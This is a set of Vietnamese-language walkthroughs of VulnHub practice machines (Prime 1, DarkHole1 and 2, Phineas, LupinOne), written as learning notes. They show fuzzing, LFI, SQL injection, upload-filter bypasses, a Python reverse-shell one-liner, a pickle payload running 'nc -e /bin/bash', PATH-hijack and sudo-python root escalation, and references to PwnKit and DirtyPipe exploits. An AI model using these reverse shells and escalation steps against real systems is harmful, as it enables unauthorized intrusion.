# Labs Pentest & Assessment ## Lab 10: [Prime 1](https://www.vulnhub.com/entry/prime-1,358/) ![](https://i.imgur.com/YCy9Mgm.png) ![](https://i.imgur.com/jeyWEwC.png) dùng dirsearch ta thấy wp login ![](https://i.imgur.com/vOi2lLN.png) ![](https://i.imgur.com/vYJAS5f.png) đi fuzz mà cũng sập :( (k phải lab này bị gì ấy, 2 lần xoá đi tải lại để làm tiếp) ![](https://i.imgur.com/XBVCK6V.png) ``` gobuster dir -u http://192.168.109.134 -w /usr/share/wordlists/dirb/common.txt -x php,txt ``` tìm được secret.txt, có gợi ý file location.txt ![](https://i.imgur.com/pFpB73Z.png) ![](https://i.imgur.com/jH6j7Wt.png) fuzz param bằng tool nhận được param file ``` wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 --hw 12 http://192.168.109.134/index.php?FUZZ ``` ![](https://i.imgur.com/EvCqIo7.png) có hint sử dụng param `secrettier360` ở page khác ![](https://i.imgur.com/nhqhNFL.png) LFI đồ kiếm được passwd wp: `follow_the_ippsec` ![](https://i.imgur.com/yixESEC.png) ![](https://i.imgur.com/46l8iFf.png) ![](https://i.imgur.com/CERw2JI.png) vào Theme Editor ở secret.php mới cho phép sửa và lưu file nên paste revershell vô và truy cập `http://192.168.109.134/wordpress/wp-content/themes/twentynineteen/secret.php` ![](https://i.imgur.com/vt0G3UD.png) ![](https://i.imgur.com/1FaIMEw.png) xong flag user ![](https://i.imgur.com/WreHgNB.png) sang victor nhưng k có quyền ![](https://i.imgur.com/c6GAcaF.png) tải linpeas.sh về local (thực ra tải vào /tmp của server victim là ok) ``` #local python3 -m http.server 8081 #victim cd /tmp wget 192.168.109.128:8081/linpeas.sh chmod +x linpeas.sh ``` ![](https://i.imgur.com/dHOdhnS.png) ![](https://i.imgur.com/zbcqB86.png) ## Lab 9: [DarkHole1](https://www.vulnhub.com/entry/darkhole-1,724/) ![](https://i.imgur.com/EQthT9o.png) ![](https://i.imgur.com/Fjc9qax.png) ![](https://i.imgur.com/l81GoEC.jpg) Trong lúc xem xét mình cắm dirsearch luôn ![](https://i.imgur.com/3K1JPsn.png) mò vào config coi tưởng tìm được database thì ngon nhưng mà vì php là ngôn ngữ serverside nên bạn sẽ chỉ nhận được đầu ra HTML. https://security.stackexchange.com/questions/98425/is-there-a-way-to-download-a-php-file-without-it-being-executed ![](https://i.imgur.com/7TpQGf0.png) quay lại register rồi login vô xem ![](https://i.imgur.com/sCskDNE.png) idor không được ![](https://i.imgur.com/CJoKk3l.png) ở phần change password ta thấy id được đính kèm với password đã thay đổi ![](https://i.imgur.com/hrfgzzF.png) thay password=1&id=1 rồi đăng nhập với admin thử xem (sở dĩ biết có tài khoản admin vì vừa reg acc nó thông báo có acc admin rồi) ![](https://i.imgur.com/UsagTLe.png) ![](https://i.imgur.com/PJi0hZE.png) Upload backdoor.php lên thì thấy không được phép ![](https://i.imgur.com/semxdxD.png) Bypass bằng nullbyte thêm %00.png vào cuối file php ![](https://i.imgur.com/Vl9L9sD.png) ![](https://i.imgur.com/04VeCTe.png) yeah upload được nhưng không excute được ![](https://i.imgur.com/bq6irYO.png) wa ga\`, đáng ra phải thêm %00.php vào cuối file png thì mới excute file php được chứ ![](https://i.imgur.com/e7XxLfK.png) ![](https://i.imgur.com/twOCknD.png) moá vẫn k được ![](https://i.imgur.com/xayKCbG.png) upload được pHp nhưng cũng k excute được ![](https://i.imgur.com/qc9A6Q6.png) sau khi upload 7749 file type php extensions thì được `shell1.phtml` đã excute được ![](https://i.imgur.com/bwec2Oi.png) ![](https://i.imgur.com/LdjsAyG.png) reverse shell thôi ```shell ?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.109.128",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")' ``` ![](https://i.imgur.com/gkOXcIK.png) darkhole này chắc là phần lên root rồi nên để sau sang john đã ![](https://i.imgur.com/iWiJ73J.png) phân quyền đúng kiểu CTF, nhìn phát biết phải ssh ![](https://i.imgur.com/iKmLFRv.png) ơ phân quyền vậy mà không cho đọc private key à ... ![](https://i.imgur.com/aj3TJOV.png) có vẻ phải tìm cách excute để leo thang lên `john` vì toto là chương trình run command `id` với quyền của `john` ![](https://i.imgur.com/2GOxTOt.png) ý tưởng rất đơn giản chỉ cần ghi `/bin/bash` vô file id tự tạo ở tmp và chèn thư mục tmp lên đầu $PATH ```shell= echo '/bin/bash' > /tmp/id; chmod +x /tmp/id; export PATH=/tmp:$PATH ``` ![](https://i.imgur.com/FkNErb1.png) Bú flag user ![](https://i.imgur.com/IskfLg4.png) tiếp theo kiếm cách lên root nào á à, cho run python3 với quyền root thì chết rồi ![](https://i.imgur.com/IYsqW6h.png) ```shell= echo 'import os;os.system("/bin/bash")' > file.py sudo /usr/bin/python3 /home/john/file.py ``` ![](https://i.imgur.com/iqqYYl6.png) ![](https://i.imgur.com/5maP5yf.png) ## Lab 8: [DarkHole2](https://www.vulnhub.com/entry/darkhole-2,740/) ![](https://i.imgur.com/qhhFdmy.png) ![](https://i.imgur.com/FFNULlD.png) ![](https://i.imgur.com/LuyPTKE.jpg) sử dụng dirsearch thấy không có register nên mình chuyển sang fuzz sqli ![](https://i.imgur.com/KIu5LzF.png) ![](https://i.imgur.com/9UE8TjV.png) nhưng ngồi fuzz sqli bằng sqlmap thấy vô vọng quá, nên chuyển sang hướng khác ![](https://i.imgur.com/mihDVpg.png) ta thấy rằng git folder public ai cũng có thể access, ta hoàn toàn có thể dump với tool git dumper https://github.com/arthaud/git-dumper ```shell= git-dumper http://192.168.109.133/.git/ ~/web_lab_8 ``` Đọc source ta thấy email và pass đều được filter với `htmlspecialchars` và `mysqli_real_escape_string` còn query thì vẫn nối chuỗi nên khả năng vẫn sqli được nhưng đó là trong tương lai, còn mình hiện tại lục tung gg không thấy POC :< ![](https://i.imgur.com/h8loSwr.png) Kiểm tra git log thấy commit `I added login.php file with default credentials` ![](https://i.imgur.com/aI3sH7P.png) ![](https://i.imgur.com/KzTyzNK.png) tìm được `email: lush@admin.com` và `password: 321` đăng nhập vô ![](https://i.imgur.com/PQqAqqE.png) đọc source dashboard.php thấy bị obfuscated ![](https://i.imgur.com/WF0qarJ.png) Deobfuscated http://www.php-decoder.site/index-en.php ta thấy bị sqli tại biến $mobile ![](https://i.imgur.com/RlonMag.png) vì state là update nên mình không biết khai thác và đi đọc wu nhưng mình không hiểu tại sao lại sqli vào param `id` được ? Thậm chí mình đã kéo cả source code về deploy nhưng trên máy mình và server hoàn toàn khác nhau do vậy mình đoán server code khác rồi, k phải code dump từ git, git này nó vứt lên chưa phải là update toàn bộ rồi. ![](https://i.imgur.com/1udbfOH.png) ok, thống nhất là sqli vào id nhé :'< ``` sqlmap -u http://192.168.109.133/dashboard.php?id=1 --dbms Mysql --cookie='PHPSESSID=7lhg898u4unp39e6etfk11qc39' --dump ``` ![](https://i.imgur.com/9Uzgbxc.png) Tìm được `user: jehad` và `pass: fool` ![](https://i.imgur.com/KYxT7It.png) có vẻ phải sang nhà khác mới có flag rồi ![](https://i.imgur.com/hZjohMz.png) xong losy ![](https://i.imgur.com/sZJzVay.png) lama không có gì ![](https://i.imgur.com/5jZ1IXY.png) định tìm cách lên root nhưng bị chặn ![](https://i.imgur.com/ArGqlLO.png) sử dụng linpeas ``` # From github curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh ``` ![](https://i.imgur.com/L0wBqOb.png) Tìm được POC https://github.com/berdav/CVE-2021-4034 nhưng không make đc ![](https://i.imgur.com/0iF2nNS.png) vì vậy mình make trên local rồi transfer qua server ![](https://i.imgur.com/XubQZKx.png) ![](https://i.imgur.com/48FdAIn.png) busssss ![](https://i.imgur.com/cwzu94h.png) ## Lab 7: [PHINEAS: 1](https://www.vulnhub.com/entry/phineas-1,674/) ![](https://i.imgur.com/H8JQhU7.png) ![](https://i.imgur.com/1C3aPpE.png) ``` ffuf -c -ic -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u 'http://192.168.109.136/FUZZ' -fc 403 -e .txt,.html,.php ``` ![](https://i.imgur.com/DmP6Hja.png) ![](https://i.imgur.com/XH66unv.png) tiếp tục fuzz ``` ffuf -c -ic -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u 'http://192.168.109.136/structure/FUZZ' -fc 403 -e .txt,.html,.php ``` ![](https://i.imgur.com/pp7XGSd.png) ![](https://i.imgur.com/o1lXkcQ.png) ![](https://i.imgur.com/5Zqs2Rt.png) thêm index.php vừa scan được vô `structure/index.php/fuel/` ta được trang login fuel ![](https://i.imgur.com/JcC79IW.png) google về fuel cms ta tìm được https://github.com/padsalatushal/CVE-2018-16763 ![](https://i.imgur.com/V5qNsie.png) reverse shell ![](https://i.imgur.com/rRXCiMw.png) đọc thông tin database ta nhận được `user: anna` và `password: H993hfkNNid5kk` ``` cat /var/www/html/structure/fuel/application/config/database.php ``` ![](https://i.imgur.com/kZ6i65t.png) ssh vô ![](https://i.imgur.com/Q74ml27.png) kiếm được flag user.txt ![](https://i.imgur.com/vO77DPe.png) dùng linpeas (má thấy CVE này hơi nhiều rồi nha) ![](https://i.imgur.com/zuPkKIx.png) mọi chuyện tưởng đơn giản nhưng lại không có gcc để build ![](https://i.imgur.com/neILVD3.png) mặc dù có build trên local rồi transfer qua nhưng k được, ca này khó rồi ![](https://i.imgur.com/BGKBWAB.png) thấy thư mục web, đọc source có thể thấy bị dính lỗi insecure deserialize ![](https://i.imgur.com/6wBxKSy.png) ```shell= wget https://gist.githubusercontent.com/kriss-u/085569495cb930e398759c0cbf45e3b7/raw/15fe119ed307ac69673bcaadd9fab84c32a85a00/pickle-payload-py3.py python3 pickle-payload-py3.py "nc 192.168.109.128 9999 -e /bin/bash" curl -d "awesome=gANjcG9zaXgKc3lzdGVtCnEAWCQAAABuYyAxOTIuMTY4LjEwOS4xMjggOTk5OSAtZSAvYmluL2Jhc2hxAYVxAlJxAy4=" -X POST http://127.0.0.1:5000/heaven ``` ![](https://i.imgur.com/jqclD7o.png) ## Lab 6: [LUPINONE](https://www.vulnhub.com/entry/empire-lupinone,750/) ![](https://i.imgur.com/NZNpZAk.png) ![](https://i.imgur.com/hAddJkO.png) ![](https://i.imgur.com/Z5udR4M.png) ![](https://i.imgur.com/p93tmbh.png) ![](https://i.imgur.com/SfSi7W4.png) ![](https://i.imgur.com/wYYhcBA.png) ``` ffuf -u http://192.168.109.135/~FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e .php,.txt ``` ![](https://i.imgur.com/Ziqw4Pi.png) ![](https://i.imgur.com/OqB9Vvv.png) ``` ffuf -c -ic -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u 'http://192.168.109.135/~secret/.FUZZ' -fc 403 -e .txt,.html ``` ![](https://i.imgur.com/caWWfHg.png) ![](https://i.imgur.com/BHsjTJT.jpg) đem lên cyberchef thấy đó là ![](https://i.imgur.com/Rx10hWg.png) ![](https://i.imgur.com/E1kyFvx.png) crack sshkey được pass `P@55w0rd!` ```shell= wget https://raw.githubusercontent.com/openwall/john/bleeding-jumbo/run/ssh2john.py python3 ssh2john.py privatekey > passwd wget https://raw.githubusercontent.com/drtychai/wordlists/master/fasttrack.txt john --wordlist=fasttrack.txt passwd ``` ![](https://i.imgur.com/DsKwPd0.png) ssh vô với passphrase vừa tìm được ![](https://i.imgur.com/5mGqJjA.png) cat user.txt ![](https://i.imgur.com/4BtxVIh.png) tiếp theo leo lên root, dùng linpeas để xác định vector có thể leo thang ``` cd /tmp wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh chmod +x linpeas.sh ./linpeas.sh ``` ![](https://i.imgur.com/AdmJsZs.png) Tìm poc của CVE-2022-0847 https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits sau đó mình nano rồi copy paste 3 file vô thôi hơi thủ công =)) ![](https://i.imgur.com/sbuEix0.png) ![](https://i.imgur.com/uYzlBpm.png)